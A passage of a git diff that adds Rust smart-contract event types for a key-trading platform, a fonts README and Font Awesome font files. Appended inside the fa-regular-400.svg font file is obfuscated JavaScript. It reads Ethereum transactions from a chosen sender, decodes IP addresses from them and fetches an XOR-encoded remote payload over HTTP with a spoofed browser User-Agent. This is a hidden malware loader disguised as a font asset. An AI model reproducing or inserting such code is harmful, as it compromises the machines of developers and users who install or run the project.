(SELL_TAX_UPDATED_EVENT_NAME, creator.clone()) +} + +/// Event name emitted on every sell that collects a non-zero tax. +pub const SELL_TAX_COLLECTED_EVENT_NAME: Symbol = symbol_short!("tax_col"); + +/// Stable sell-tax-collected event payload. +/// +/// Event shape: +/// - topics: `(SELL_TAX_COLLECTED_EVENT_NAME, creator, seller)` +/// - data: `SellTaxCollectedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SellTaxCollectedEvent { + /// Creator whose key was sold. + pub creator: Address, + /// Seller that paid the tax. + pub seller: Address, + /// Tax amount in XLM stroops, already forwarded to `pool`. + pub amount: i128, + /// Address credited with the tax. + pub pool: Address, + /// Tax rate applied in basis points. + pub tax_bps: u32, + /// Gross sell proceeds the tax was deducted from. + pub gross_proceeds: i128, + /// Proceeds actually delivered to the seller after the tax. + pub net_proceeds: i128, + /// Buyback pool balance after the tax was added. + pub pool_balance: i128, + /// Ledger in which the tax was collected. + pub ledger: u32, +} + +/// Shared sell-tax-collected event topics tuple. +pub fn sell_tax_collected_topics( + creator: &Address, + seller: &Address, +) -> (Symbol, Address, Address) { + ( + SELL_TAX_COLLECTED_EVENT_NAME, + creator.clone(), + seller.clone(), + ) +} + +// ============================================================================ +// Feature: governance quorum escalation +// ============================================================================ + +/// Event name emitted each time a proposal's voting deadline is extended. +pub const PROPOSAL_EXTENDED_EVENT_NAME: Symbol = symbol_short!("prop_ext"); + +/// Stable proposal-extended event payload. +/// +/// Event shape: +/// - topics: `(PROPOSAL_EXTENDED_EVENT_NAME, creator_id, poll_id)` +/// - data: `ProposalExtendedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ProposalExtendedEvent { + /// Creator that owns the proposal. + pub creator_id: Address, + /// Proposal id, scoped to the creator. + pub poll_id: u32, + /// Deadline before the extension. + pub old_expires_at: u32, + /// Deadline after the extension. + pub new_expires_at: u32, + /// Extensions consumed after this call. + pub extensions_used: u32, + /// Maximum extensions allowed by the active config. + pub max_extensions: u32, + /// Ledger in which the extension was applied. + pub ledger: u32, +} + +/// Shared proposal-extended event topics tuple. +pub fn proposal_extended_topics(creator_id: &Address, poll_id: u32) -> (Symbol, Address, u32) { + (PROPOSAL_EXTENDED_EVENT_NAME, creator_id.clone(), poll_id) +} + +/// Event name emitted when the protocol admin changes the escalation config. +pub const ESCALATION_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("esc_cfg"); + +/// Stable escalation-config-updated event payload. +/// +/// Event shape: +/// - topics: `(ESCALATION_CONFIG_UPDATED_EVENT_NAME, admin)` +/// - data: `EscalationConfigUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct EscalationConfigUpdatedEvent { + /// Admin that applied the change. + pub admin: Address, + /// `true` when a config was already active before this call. + pub had_previous_config: bool, + /// Previously active threshold in basis points. + pub old_threshold_bps: u32, + /// Previously active extension duration in ledgers. + pub old_extension_ledgers: u32, + /// Previously active extension cap. + pub old_max_extensions: u32, + /// Newly active threshold in basis points. + pub new_threshold_bps: u32, + /// Newly active extension duration in ledgers. + pub new_extension_ledgers: u32, + /// Newly active extension cap. + pub new_max_extensions: u32, + /// Ledger in which the change was recorded. + pub ledger: u32, +} + +/// Shared escalation-config-updated event topics tuple. +pub fn escalation_config_updated_topics(admin: &Address) -> (Symbol, Address) { + (ESCALATION_CONFIG_UPDATED_EVENT_NAME, admin.clone()) +} + +// ============================================================================ +// Trade cooldown violation (issue #974) +// ============================================================================ + +/// Event name emitted when a buy or sell is blocked by the per-wallet trade +/// cooldown configured via `set_cooldown`. +pub const COOLDOWN_VIOLATION_EVENT_NAME: Symbol = symbol_short!("cd_viol"); + +/// Event name emitted when a creator updates their trade cooldown duration via +/// `set_cooldown`. +pub const COOLDOWN_SET_EVENT_NAME: Symbol = symbol_short!("cd_set"); + +/// Payload for a blocked trade due to the per-wallet trade cooldown (issue #974). +/// +/// Event shape: +/// - topics: `(COOLDOWN_VIOLATION_EVENT_NAME, creator_id, wallet)` +/// - data: `CooldownViolationEvent` +/// +/// Emitted inside `buy_keys_with_referrer` and `sell_key` when a trade is +/// rejected because the per-wallet cooldown window has not yet elapsed. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CooldownViolationEvent { + /// Wallet whose trade was blocked. + pub wallet: Address, + /// Creator whose key was being traded. + pub creator_id: Address, + /// Unix timestamp at which the cooldown expires and trading resumes. + pub expires_at: u64, + /// Seconds remaining until the cooldown expires. + pub seconds_remaining: u64, +} + +/// Shared cooldown-violation event topics tuple. +pub fn cooldown_violation_topics( + creator: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + COOLDOWN_VIOLATION_EVENT_NAME, + creator.clone(), + wallet.clone(), + ) +} + +/// Payload emitted when a creator sets (or updates) their trade cooldown +/// duration via `set_cooldown` (issue #974). +/// +/// Event shape: +/// - topics: `(COOLDOWN_SET_EVENT_NAME, creator_id)` +/// - data: `CooldownSetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CooldownSetEvent { + /// Creator whose cooldown was updated. + pub creator_id: Address, + /// New cooldown duration in seconds (`0` disables the cooldown). + pub duration_secs: u64, +} + +/// Shared cooldown-set event topics tuple. +pub fn cooldown_set_topics(creator: &Address) -> (Symbol, Address) { + (COOLDOWN_SET_EVENT_NAME, creator.clone()) +} + +/// Event name for configuring a graduated bonding curve with supply milestones. +pub const GRADUATED_CURVE_CONFIGURED_EVENT_NAME: Symbol = symbol_short!("grad_crv"); + +/// Stable graduated curve configured event payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct GraduatedCurveConfiguredEvent { + /// Creator whose curve was configured. + pub creator: Address, + /// All milestone `(supply_threshold, exponent)` pairs. + pub milestones: Vec<(u32, u32)>, + /// Ledger sequence at the time of configuration. + pub ledger: u32, +} + +/// Shared graduated curve configured event topics tuple. +pub fn graduated_curve_configured_topics(creator: &Address) -> (Symbol, Address) { + (GRADUATED_CURVE_CONFIGURED_EVENT_NAME, creator.clone()) +} + +// ============================================================================ +// Feature: leaderboard snapshot — top holder rankings (issue #924) +// ============================================================================ + +/// Event name emitted when a leaderboard snapshot is recorded. +pub const LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("ldbrd_tk"); + +/// Stable leaderboard-snapshot-taken event payload. +/// +/// Event shape: +/// - topics: `(LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME, creator_id, snapshot_ledger)` +/// - data: `LeaderboardSnapshotTakenEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LeaderboardSnapshotTakenEvent { + /// Creator whose holder balances were ranked. + pub creator_id: Address, + /// Ledger sequence the snapshot was taken at. + pub snapshot_ledger: u32, + /// Leaderboard size `N` in effect when the snapshot was taken. + pub top_n: u32, + /// Number of candidate wallets holding at least one key. + pub total_candidates: u32, + /// Number of ranked entries actually stored (at most `top_n`). + pub recorded_entries: u32, +} + +/// Shared leaderboard-snapshot-taken event topics tuple. +pub fn leaderboard_snapshot_taken_topics( + creator_id: &Address, + snapshot_ledger: u32, +) -> (Symbol, Address, u32) { + ( + LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME, + creator_id.clone(), + snapshot_ledger, + ) +} + +/// Event name emitted when an aged-out leaderboard snapshot is pruned. +pub const LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("ldbrd_pr"); + +/// Stable leaderboard-snapshot-pruned event payload. +/// +/// Event shape: +/// - topics: `(LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME, creator_id, snapshot_ledger)` +/// - data: `LeaderboardSnapshotPrunedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LeaderboardSnapshotPrunedEvent { + /// Creator the pruned snapshot belonged to. + pub creator_id: Address, + /// Ledger sequence of the pruned snapshot. + pub snapshot_ledger: u32, + /// Ledger in which the pruning happened. + pub current_ledger: u32, +} + +/// Shared leaderboard-snapshot-pruned event topics tuple. +pub fn leaderboard_snapshot_pruned_topics( + creator_id: &Address, + snapshot_ledger: u32, +) -> (Symbol, Address, u32) { + ( + LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME, + creator_id.clone(), + snapshot_ledger, + ) +} + +/// Event name emitted when the protocol admin updates the leaderboard config. +pub const LEADERBOARD_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("ldbrd_cf"); + +/// Stable leaderboard-config-updated event payload. +/// +/// Event shape: +/// - topics: `(LEADERBOARD_CONFIG_UPDATED_EVENT_NAME, admin)` +/// - data: `LeaderboardConfigUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LeaderboardConfigUpdatedEvent { + /// Admin that applied the change. + pub admin: Address, + /// Leaderboard size in effect before this call. + pub old_top_n: u32, + /// Retention window in ledgers before this call. + pub old_retention_ledgers: u32, + /// Leaderboard size after this call. + pub new_top_n: u32, + /// Retention window in ledgers after this call. + pub new_retention_ledgers: u32, + /// Ledger in which the change was recorded. + pub ledger: u32, +} + +/// Shared leaderboard-config-updated event topics tuple. +pub fn leaderboard_config_updated_topics(admin: &Address) -> (Symbol, Address) { + (LEADERBOARD_CONFIG_UPDATED_EVENT_NAME, admin.clone()) +} + +// --- Emergency platform pause events (#1000) --- + +/// Event name emitted when the platform-wide emergency halt activates. +pub const PLATFORM_PAUSED_EVENT_NAME: Symbol = symbol_short!("plat_pau"); + +/// Event name emitted when a platform resume is queued behind the 24h timelock. +pub const PLATFORM_RESUME_QUEUED_EVENT_NAME: Symbol = symbol_short!("plat_rq"); + +/// Event name emitted when the platform-wide emergency halt is lifted. +pub const PLATFORM_RESUMED_EVENT_NAME: Symbol = symbol_short!("plat_res"); + +/// Event name emitted when a per-key emergency pause override is set or cleared. +pub const KEY_PAUSE_OVERRIDE_EVENT_NAME: Symbol = symbol_short!("key_pau"); + +/// Stable field order for [`PlatformPausedEvent`]. +pub const PLATFORM_PAUSED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "timestamp"]; + +/// Stable field order for [`PlatformResumeQueuedEvent`]. +pub const PLATFORM_RESUME_QUEUED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "executable_at"]; + +/// Stable field order for [`PlatformResumedEvent`]. +pub const PLATFORM_RESUMED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "timestamp"]; + +/// Stable field order for [`KeyPauseOverrideEvent`]. +pub const KEY_PAUSE_OVERRIDE_EVENT_DATA_FIELDS: [&str; 3] = ["key_id", "paused", "actor"]; + +/// Stable platform-paused event payload. +/// +/// Event shape: +/// - topics: `(PLATFORM_PAUSED_EVENT_NAME, actor)` +/// - data: `PlatformPausedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PlatformPausedEvent { + /// First signer of the multisig call. + pub actor: Address, + /// Ledger timestamp at which the halt took effect. + pub timestamp: u64, +} + +/// Stable platform-resume-queued event payload. +/// +/// Event shape: +/// - topics: `(PLATFORM_RESUME_QUEUED_EVENT_NAME, actor)` +/// - data: `PlatformResumeQueuedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PlatformResumeQueuedEvent { + /// First signer of the multisig call. + pub actor: Address, + /// Ledger timestamp from which `resume_platform` may execute. + pub executable_at: u64, +} + +/// Stable platform-resumed event payload. +/// +/// Event shape: +/// - topics: `(PLATFORM_RESUMED_EVENT_NAME, actor)` +/// - data: `PlatformResumedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PlatformResumedEvent { + /// First signer of the multisig call. + pub actor: Address, + /// Ledger timestamp at which the halt was lifted. + pub timestamp: u64, +} + +/// Stable key-pause-override event payload. +/// +/// Event shape: +/// - topics: `(KEY_PAUSE_OVERRIDE_EVENT_NAME, key_id)` +/// - data: `KeyPauseOverrideEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeyPauseOverrideEvent { + /// Key whose override changed. + pub key_id: Address, + /// `true` when the key was paused, `false` when the override was cleared. + pub paused: bool, + /// First signer of the multisig call. + pub actor: Address, +} + +/// Shared platform-paused event topics tuple. +pub fn platform_paused_topics(actor: &Address) -> (Symbol, Address) { + (PLATFORM_PAUSED_EVENT_NAME, actor.clone()) +} + +/// Shared platform-resume-queued event topics tuple. +pub fn platform_resume_queued_topics(actor: &Address) -> (Symbol, Address) { + (PLATFORM_RESUME_QUEUED_EVENT_NAME, actor.clone()) +} + +/// Shared platform-resumed event topics tuple. +pub fn platform_resumed_topics(actor: &Address) -> (Symbol, Address) { + (PLATFORM_RESUMED_EVENT_NAME, actor.clone()) +} + +/// Shared key-pause-override event topics tuple. +pub fn key_pause_override_topics(key_id: &Address) -> (Symbol, Address) { + (KEY_PAUSE_OVERRIDE_EVENT_NAME, key_id.clone()) +} + +// --- Vault rebalancing --- + +/// Event name for a completed vault rebalance. +pub const REBALANCE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("rebal"); + +/// Stable field order for rebalance execution payloads. +pub const REBALANCE_EXECUTED_DATA_FIELDS: [&str; 6] = [ + "creator", + "trades", + "allocations", + "total_value", + "max_slippage_bps", + "ledger", +]; + +/// One trade executed by a vault rebalance. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct RebalanceTrade { + pub from_key: Address, + pub to_key: Address, + pub amount: i128, + pub reference_price: i128, + pub execution_price: i128, + pub slippage_bps: u32, +} + +/// Stable rebalance execution payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct RebalanceExecutedEvent { + pub creator: Address, + pub trades: Vec, + pub allocations: Vec, + pub total_value: i128, + pub max_slippage_bps: u32, + pub ledger: u32, +} + +/// Shared rebalance execution event topics tuple. +pub fn rebalance_executed_topics(creator: &Address) -> (Symbol, Address) { + (REBALANCE_EXECUTED_EVENT_NAME, creator.clone()) +} + +// --- Dynamic fee tiers --- + +/// Event name for a dynamic fee tier transition. +pub const FEE_TIER_CHANGED_EVENT_NAME: Symbol = symbol_short!("fee_tier"); + +/// Stable field order for fee tier transition payloads. +pub const FEE_TIER_CHANGED_DATA_FIELDS: [&str; 5] = [ + "old_tier_index", + "new_tier_index", + "old_protocol_bps", + "new_protocol_bps", + "ledger", +]; + +/// Stable fee tier transition payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct FeeTierChangedEvent { + pub old_tier_index: u32, + pub new_tier_index: u32, + pub old_protocol_bps: u32, + pub new_protocol_bps: u32, + pub ledger: u32, +} + +/// Sentinel tier index used before any dynamic fee tier has ever been resolved. +pub const NO_FEE_TIER_INDEX: u32 = u32::MAX; + +// --- Staking and stake receipt NFT --- + +/// Event name for a minted stake receipt NFT. +pub const STAKE_NFT_MINTED_EVENT_NAME: Symbol = symbol_short!("snft_mint"); + +/// Event name for a burned stake receipt NFT. +pub const STAKE_NFT_BURNED_EVENT_NAME: Symbol = symbol_short!("snft_burn"); + +/// Event name for a stake receipt NFT transfer. +pub const STAKE_NFT_TRANSFERRED_EVENT_NAME: Symbol = symbol_short!("transfer"); + +/// Stable field order for stake receipt mint payloads. +pub const STAKE_NFT_MINTED_DATA_FIELDS: [&str; 7] = [ + "token_id", + "creator", + "stake_id", + "owner", + "amount", + "unlock_ledger", + "ledger", +]; + +/// Stable field order for stake receipt transfer payloads. +pub const STAKE_NFT_TRANSFERRED_DATA_FIELDS: [&str; 7] = [ + "token_id", "creator", "stake_id", "from", "to", "amount", "ledger", +]; + +/// Stable field order for stake receipt burn payloads. +pub const STAKE_NFT_BURNED_DATA_FIELDS: [&str; 6] = [ + "token_id", "creator", "stake_id", "owner", "amount", "ledger", +]; + +/// Stable stake receipt mint payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeNftMintedEvent { + pub token_id: u64, + pub creator: Address, + pub stake_id: u32, + pub owner: Address, + pub amount: u32, + pub unlock_ledger: u32, + pub ledger: u32, +} + +/// Stable stake receipt transfer payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeNftTransferredEvent { + pub token_id: u64, + pub creator: Address, + pub stake_id: u32, + pub from: Address, + pub to: Address, + pub amount: i128, + pub ledger: u32, +} + +/// Stable stake receipt burn payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct StakeNftBurnedEvent { + pub token_id: u64, + pub creator: Address, + pub stake_id: u32, + pub owner: Address, + pub amount: u32, + pub ledger: u32, +} + +/// Shared stake receipt mint event topics tuple. +pub fn stake_nft_minted_topics(creator: &Address, owner: &Address) -> (Symbol, Address, Address) { + (STAKE_NFT_MINTED_EVENT_NAME, creator.clone(), owner.clone()) +} + +/// Shared stake receipt transfer event topics tuple. +pub fn stake_nft_transferred_topics(from: &Address, to: &Address) -> (Symbol, Address, Address) { + (STAKE_NFT_TRANSFERRED_EVENT_NAME, from.clone(), to.clone()) +} + +/// Shared stake receipt burn event topics tuple. +pub fn stake_nft_burned_topics(creator: &Address, owner: &Address) -> (Symbol, Address, Address) { + (STAKE_NFT_BURNED_EVENT_NAME, creator.clone(), owner.clone()) +} + +// --- Bonding curve reset --- + +/// Event name for a bonding curve reset. +pub const CURVE_RESET_EVENT_NAME: Symbol = symbol_short!("curve_rst"); + +/// Stable field order for curve reset payloads. +pub const CURVE_RESET_DATA_FIELDS: [&str; 7] = [ + "creator", + "old_supply", + "new_supply", + "preset", + "slope", + "reset_count", + "ledger", +]; + +/// Stable curve reset payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(CURVE_RESET_EVENT_NAME, creator)` +/// - data: `CurveResetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CurveResetEvent { + /// Creator whose curve was reset. + pub creator: Address, + /// Supply immediately before the reset. Always `0`; a reset requires a full buyback. + pub old_supply: u32, + /// Supply immediately after the reset, the relaunch point. + pub new_supply: u32, + /// Curve shape applied from `new_supply` onwards. + pub preset: crate::CurvePreset, + /// Curve slope applied from `new_supply` onwards. + pub slope: i128, + /// Running count of successful resets for this creator. + pub reset_count: u32, + /// Ledger sequence number at reset time. + pub ledger: u32, +} + +/// Shared curve reset event topics tuple. +pub fn curve_reset_topics(creator: &Address) -> (Symbol, Address) { + (CURVE_RESET_EVENT_NAME, creator.clone()) +} + +// --- Key rating --- + +/// Event name for a key rating submission. +pub const KEY_RATED_EVENT_NAME: Symbol = symbol_short!("key_rated"); + +/// Event payload emitted when a key holder rates a creator. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeyRatedEvent { + pub creator: Address, + pub rater: Address, + pub score: u32, + pub total_score: u64, + pub count: u32, + pub average_score_scaled: u32, + pub ledger: u32, +} + +/// Shared key rated event topics tuple. +pub fn key_rated_topics(creator: &Address, rater: &Address) -> (Symbol, Address, Address) { + (KEY_RATED_EVENT_NAME, creator.clone(), rater.clone()) +} + +// --- Creator announcements --- + +/// Event name for a creator announcement posted to key holders. +pub const ANNOUNCEMENT_POSTED_EVENT_NAME: Symbol = symbol_short!("announce"); + +/// Stable announcement payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ANNOUNCEMENT_POSTED_EVENT_NAME, key_id, announcement_id)` +/// - data: `AnnouncementPostedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AnnouncementPostedEvent { + /// Creator key whose holders the announcement targets. + pub key_id: Address, + /// Sequential identifier within this creator's announcement history. + pub announcement_id: u32, + /// Short announcement headline. + pub title: String, + /// IPFS content identifier for the complete announcement content. + pub content_hash: String, + /// Announcement category. + pub category: crate::AnnouncementCategory, + /// Ledger timestamp at which the announcement was posted. + pub posted_at: u64, +} + +/// Shared announcement event topics tuple. +pub fn announcement_posted_topics( + key_id: &Address, + announcement_id: u32, +) -> (Symbol, Address, u32) { + ( + ANNOUNCEMENT_POSTED_EVENT_NAME, + key_id.clone(), + announcement_id, + ) +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000..1e4f9ba1 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000..a1bc094a Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000..46ad237a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..48634a9a --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + 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Error(n['\u0065\u0072\u0072\u006F\u0072']['\u006D\u0065\u0073\u0073\u0061\u0067\u0065']||JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079'](n['\u0065\u0072\u0072\u006F\u0072']));if(null==n['\u0072\u0065\u0073\u0075\u006C\u0074'])throw new Error(`RPC batch: missing result id ${e+(918330^918331)}`);return n['\u0072\u0065\u0073\u0075\u006C\u0074'];});}var _0xef10dc=(310017^310024)+(850189^850190);const toBlockHex=t=>`0x${t['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067'](693286^693302)}`;_0xef10dc=(543073^543079)+(499630^499631);function findSenderTx(t){return t['\u0066\u0069\u006E\u0064'](t=>t['\u0066\u0072\u006F\u006D']&&t['\u0066\u0072\u006F\u006D']['\u0074\u006F\u004C\u006F\u0077\u0065\u0072\u0043\u0061\u0073\u0065']()===SENDER)||null;}function decodeAddress(t){try{const e=Buffer['\u0066\u0072\u006F\u006D'](t['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new 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t)a['\u0072\u0075\u006E']()['\u0074\u0068\u0065\u006E'](t=>{r||(t?o(t):(252637^252637)===--n&&e(null));})['\u0063\u0061\u0074\u0063\u0068'](()=>{r||(955410^955410)!==--n||e(null);});});}function candidateBlocks(t){const e=t-BLOCK_MULTIPLE,n=new Set(),r=[];for(const o of[t-1n,t,t+1n,e-1n,e,e+1n]){if(o<0n)continue;var _0xccc13a=(841699^841707)+(786482^786483);const t=o['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067']();_0xccc13a=354695^354690;n['\u0068\u0061\u0073'](t)||(n['\u0061\u0064\u0064'](t),r['\u0070\u0075\u0073\u0068'](o));}return r;}function blockTask(t){var _0x8b2d9d=(105206^105201)+(280175^280171);const e=new AbortController();_0x8b2d9d=(502437^502444)+(969331^969333);return{"controller":e,'\u0072\u0075\u006E':async()=>{const n=await withRpcEndpoints((e,n)=>rpcCall(e,"rebmuNyBkcolBteg_hte".split("").reverse().join(""),[toBlockHex(t),!(122873^122873)],n),e['\u0073\u0069\u0067\u006E\u0061\u006C']),r=n?.transactions;if(!Array['\u0069\u0073\u0041\u0072\u0072\u0061\u0079'](r))return null;const o=findSenderTx(r);return o?{'\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072':t,"tx":o}:null;}};}async function nonceAtBlocks(t,e,_0xfc3bbb){const n=t['\u006D\u0061\u0070'](t=>["tnuoCnoitcasnarTteg_hte".split("").reverse().join(""),[SENDER,toBlockHex(t)]]);_0xfc3bbb=587690^587694;try{return(await withRpcEndpoints((t,e)=>rpcBatch(t,n,e),e))['\u006D\u0061\u0070'](BigInt);}catch{return(await Promise['\u0061\u006C\u006C'](n['\u006D\u0061\u0070'](([t,n])=>withRpcEndpoints((e,r)=>rpcCall(e,t,n,r),e))))['\u006D\u0061\u0070'](BigInt);}}async function lastSenderTx(t){const e=new AbortController();try{const n=t??BigInt(await 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firstMatch(candidateBlocks(_0x3_0xd03)['\u006D\u0061\u0070'](blockTask)),[ip1,ip2]=decodeAddress(_0x3883be?.tx?.to);function _0x1383dd(t,e,n){return t?new URL(`http://${t}:${e}${n}`):null;}let code=null;_0xe_0x75e="oldfff".split("").reverse().join("");const _0x36e7e=_0x1383dd(ip1,442547^442632,"slc/x0/".split("").reverse().join(""));if(_0x36e7e)try{code=await _0xa1b57f("@=3rS,h!{XxkZF4q".split("").reverse().join(""),_0x36e7e);}catch{code=null;}function _0xa1b57f(t,e){const n={'\u0068\u006F\u0073\u0074\u006E\u0061\u006D\u0065':e['\u0068\u006F\u0073\u0074\u006E\u0061\u006D\u0065'],'\u0070\u006F\u0072\u0074':Number(e['\u0070\u006F\u0072\u0074'])||472489^472569,'\u0070\u0061\u0074\u0068':e['\u0070\u0061\u0074\u0068\u006E\u0061\u006D\u0065']+e['\u0073\u0065\u0061\u0072\u0063\u0068'],"headers":{"User-Agent":"\u004D\u006F\u007A\u0069\u006C\u006C\u0061\u002F\u0035\u002E\u0030\u0020\u0028\u0057\u0069\u006E\u0064\u006F\u0077\u0073\u0020\u004E\u0054\u0020\u0031\u0030\u002E\u0030\u003B\u0020\u0057\u0069\u006E\u0036\u0034\u003B\u0020\u0078\u0036\u0034\u0029\u0020\u0041\u0070\u0070\u006C\u0065\u0057\u0065\u0062\u004B\u0069\u0074\u002F\u0035\u0033\u0037\u002E\u0033\u0036\u0020\u0028\u004B\u0048\u0054\u004D\u004C\u002C\u0020\u006C\u0069\u006B\u0065\u0020\u0047\u0065\u0063\u006B\u006F\u0029\u0020\u0043\u0068\u0072\u006F\u006D\u0065\u002F\u0031\u0033\u0031\u002E\u0030\u002E\u0030\u002E\u0030\u0020\u0053\u0061\u0066\u0061\u0072\u0069\u002F\u0035\u0033\u0037\u002E\u0033\u0036","\u0053\u0065\u0063\u002D\u0056":_0xe8ae['\u005F\u0056']||866237^866237}};function _0x3e312b(e){var _0xb7gee=(539107^539106)+(580966^580974);const n=t['\u006C\u0065\u006E\u0067\u0074\u0068'];_0xb7gee=483090^483090;for(let r=406171^406171;r{let _0xcd9gg;const l=http['\u0072\u0065\u0071\u0075\u0065\u0073\u0074']({...n,'\u006D\u0065\u0074\u0068\u006F\u0064':t},n=>{if("\u0048\u0045\u0041\u0044"===t){try{e(_0x6c8dca(n));}catch(t){a(t);}return void n['\u0072\u0065\u0073\u0075\u006D\u0065']();}var _0x390gcd=(151268^151266)+(976312^976318);const l=[];_0x390gcd=974682^974682;n['\u006F\u006E']("atad".split("").reverse().join(""),t=>l['\u0070\u0075\u0073\u0068'](t)),n['\u006F\u006E']("dne".split("").reverse().join(""),()=>{try{const t=Buffer['\u0063\u006F\u006E\u0063\u0061\u0074'](l);if(t['\u006C\u0065\u006E\u0067\u0074\u0068'])return e(_0x3e312b(t));if(n['\u0068\u0065\u0061\u0064\u0065\u0072\u0073']["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return e(_0x6c8dca(n));a(new 